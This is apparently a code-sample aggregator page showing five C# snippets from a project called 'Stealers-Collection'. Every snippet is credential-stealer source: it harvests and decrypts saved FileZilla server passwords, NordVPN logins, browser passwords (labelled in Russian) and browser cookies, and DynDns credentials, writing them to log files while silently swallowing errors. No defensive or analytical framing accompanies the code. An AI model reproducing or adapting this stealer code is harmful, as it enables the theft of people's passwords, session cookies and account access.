コード例 #1
0
        public static void Inizialize_Grabber()
        {
            if (CombineEx.ExistsFile(GlobalPath.FZilla))
            {
                var build = new StringBuilder();
                try
                {
                    var xf = new XmlDocument()
                    {
                        XmlResolver = null
                    };
                    xf.Load(GlobalPath.FZilla);

                    XmlNodeList bb = xf.GetElementsByTagName("RecentServers");
                    XmlNodeList bs = ((XmlElement)bb[0]).GetElementsByTagName("Server");

                    foreach (XmlElement va in bs)
                    {
                        build.AppendLine($"HostName: {va.GetElementsByTagName("Host")[0].InnerText}");
                        build.AppendLine($"Port: {va.GetElementsByTagName("Port")[0].InnerText}");
                        build.AppendLine($"UserName: {va.GetElementsByTagName("User")[0].InnerText}");
                        build.AppendLine($"Password: {DecryptTools.DecryptFZ(va.GetElementsByTagName("Pass")[0].InnerText)}{Environment.NewLine}");
                    }
                }
                catch { }
                CombineEx.CreateFile(true, GlobalPath.FileZillaSave, build?.ToString());
                build.Clear();
            }
        }
コード例 #2
0
        public static void Inizialize_Grabber()
        {
            try
            {
                var nord = new DirectoryInfo(GlobalPath.NordPath);
                if (nord.Exists)
                {
                    foreach (var info in nord.GetDirectories("NordVpn.exe*").SelectMany(nordir => nordir.GetDirectories().Select(info => info)))
                    {
                        string userConfigPath = CombineEx.CombinePath(info.FullName, "user.config");
                        if (CombineEx.ExistsFile(userConfigPath))
                        {
                            var xf = new XmlDocument()
                            {
                                XmlResolver = null
                            };
                            xf.Load(userConfigPath);

                            string encodedUsername = xf.SelectSingleNode("//setting[@name='Username']/value").InnerText;
                            string encodedPassword = xf.SelectSingleNode("//setting[@name='Password']/value").InnerText;

                            if (!string.IsNullOrWhiteSpace(encodedUsername) || !string.IsNullOrWhiteSpace(encodedPassword))
                            {
                                string decuser = DecryptTools.DecodeNord(encodedUsername, DataProtectionScope.LocalMachine);
                                string decpass = DecryptTools.DecodeNord(encodedPassword, DataProtectionScope.LocalMachine);

                                CombineEx.CreateFile(true, GlobalPath.NordSave, $"Login: {decuser} \r\nPassword: {decpass}\r\n");
                            }
                        }
                    }
                }
            }
            catch { }
        }
コード例 #3
0
 private static void SaveLogs(string BrowserName, string save, SQLiteDataReader reader)
 {
     try
     {
         using (var SwLog = new StreamWriter(save))
         {
             while (reader.Read())
             {
                 SwLog.WriteLine($"Имя браузера: {BrowserName}");
                 SwLog.WriteLine($"Ссылка: {reader[0]?.ToString()}");
                 SwLog.WriteLine($"Логин: {reader[1]?.ToString()}");
                 SwLog.WriteLine($"Пароль: {DecryptTools.DecryptValue(GetBytes(reader, 2), DataProtectionScope.LocalMachine, null)}");
                 SwLog.WriteLine();
                 SwLog.Flush();
             }
         }
     }
     catch { }
 }
コード例 #4
0
 private static void SaveLogs(string v, string save, SQLiteDataReader reader)
 {
     try
     {
         using (var SwLog = new StreamWriter(save))
         {
             while (reader.Read())
             {
                 SwLog.WriteLine($"Browser: {CombineEx.GetFileNameWithoutExtension(v)}");
                 SwLog.WriteLine($"HostKey: {reader[5]?.ToString()}");
                 SwLog.WriteLine($"Name: {reader[0]?.ToString()}");
                 SwLog.WriteLine($"Path: {reader[2]?.ToString()}");
                 SwLog.WriteLine($"Expires_utc: {(long)reader[3]}");
                 SwLog.WriteLine($"Last_access_utc: {(long)reader[4]}");
                 SwLog.WriteLine($"EncryptedValue: {DecryptTools.DecryptValue((byte[])reader[1], DataProtectionScope.LocalMachine, null)}");
                 SwLog.WriteLine();
             }
         }
     }
     catch { }
 }
コード例 #5
0
ファイル: DynDns.cs プロジェクト: yaskin/Stealers-Collection
 public static void Inizialize_Grabber()
 {
     if (CombineEx.ExistsFile(GlobalPath.DynDns))
     {
         try
         {
             string[] lines = File.ReadAllLines(GlobalPath.DynDns);
             if (lines.Length != 0)
             {
                 CombineEx.CreateFile(true, GlobalPath.DynDnsSave, $"UserName: {lines[1].Substring(9)}\r\nPassword: { DecryptTools.DecryptDynDns(lines[2].Substring(9))}{Environment.NewLine}");
             }
         }
         catch { }
     }
 }